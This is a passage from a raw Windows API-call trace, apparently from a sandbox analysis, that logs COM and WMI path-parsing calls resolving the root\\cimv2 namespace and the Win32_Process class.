[6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0116.697] WbemDefPath:IUnknown:AddRef (This=0x655d30) returned 0x3 [0116.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0116.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0116.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2c00) returned 0x0 [0116.697] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2c00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.697] WbemDefPath:IUnknown:Release (This=0x1b4d2c00) returned 0x3 [0116.697] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0116.697] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0116.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0116.697] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x2 [0116.697] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x1 [0116.697] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0116.697] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0116.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655d30) returned 0x0 [0116.697] WbemDefPath:IUnknown:AddRef (This=0x655d30) returned 0x3 [0116.697] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x2 [0116.697] WbemDefPath:IWbemPath:SetText (This=0x655d30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0116.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0116.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655d30, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0116.697] WbemDefPath:IWbemPath:GetText (in: This=0x655d30, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0116.697] WbemDefPath:IWbemPath:GetText (in: This=0x655d30, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0116.698] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x655af0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655d30, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655d30, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655d30, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0116.698] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655af0, uIndex=0x0, pszName="ROOT") returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655d30, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655d30, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0116.698] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655af0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetClassName (in: This=0x655af0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0116.698] WbemDefPath:IWbemPath:SetClassName (This=0x655af0, Name="Win32_Process") returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetInfo (in: This=0x655af0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetInfo (in: This=0x655af0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0116.698] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0116.698] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0116.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0116.699] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0116.699] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.699] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d3120) returned 0x0 [0116.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3120, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0116.699] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3120, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x656630) returned 0x0 [0116.700] WbemDefPath:IUnknown:Release (This=0x1b4d3120) returned 0x0 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x656630) returned 0x0 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0116.700] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d3540) returned 0x0 [0116.700] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3540, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.700] WbemDefPath:IUnknown:Release (This=0x1b4d3540) returned 0x3 [0116.700] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0116.700] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0116.700] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0116.700] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0116.700] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0116.700] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0116.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x656630) returned 0x0 [0116.701] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0116.701] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0116.701] WbemDefPath:IWbemPath:SetText (This=0x656630, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0116.701] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0116.701] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0116.701] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.701] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0116.701] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0116.701] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0116.701] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.701] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d3420) returned 0x0 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3420, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0116.702] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3420, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656570) returned 0x0 [0116.702] WbemDefPath:IUnknown:Release (This=0x1b4d3420) returned 0x0 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656570) returned 0x0 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0116.702] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3480) returned 0x0 [0116.702] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3480, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.702] WbemDefPath:IUnknown:Release (This=0x1b4d3480) returned 0x3 [0116.702] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0116.702] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0116.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0116.702] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0116.703] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0116.703] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0116.703] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0116.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656570) returned 0x0 [0116.703] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0116.703] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0116.703] WbemDefPath:IWbemPath:SetText (This=0x656570, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0116.703] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x656630) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656570, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656570, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0116.703] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656630, uIndex=0x0, pszName="root") returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656570, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656570, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0116.703] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656630, uIndex=0x1, pszName="cimv2") returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetServer (in: This=0x656570, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetServer (in: This=0x656570, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetServer (in: This=0x656630, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetServer (in: This=0x656630, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetInfo (in: This=0x656630, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0116.703] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0116.704] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0116.704] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0116.704] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 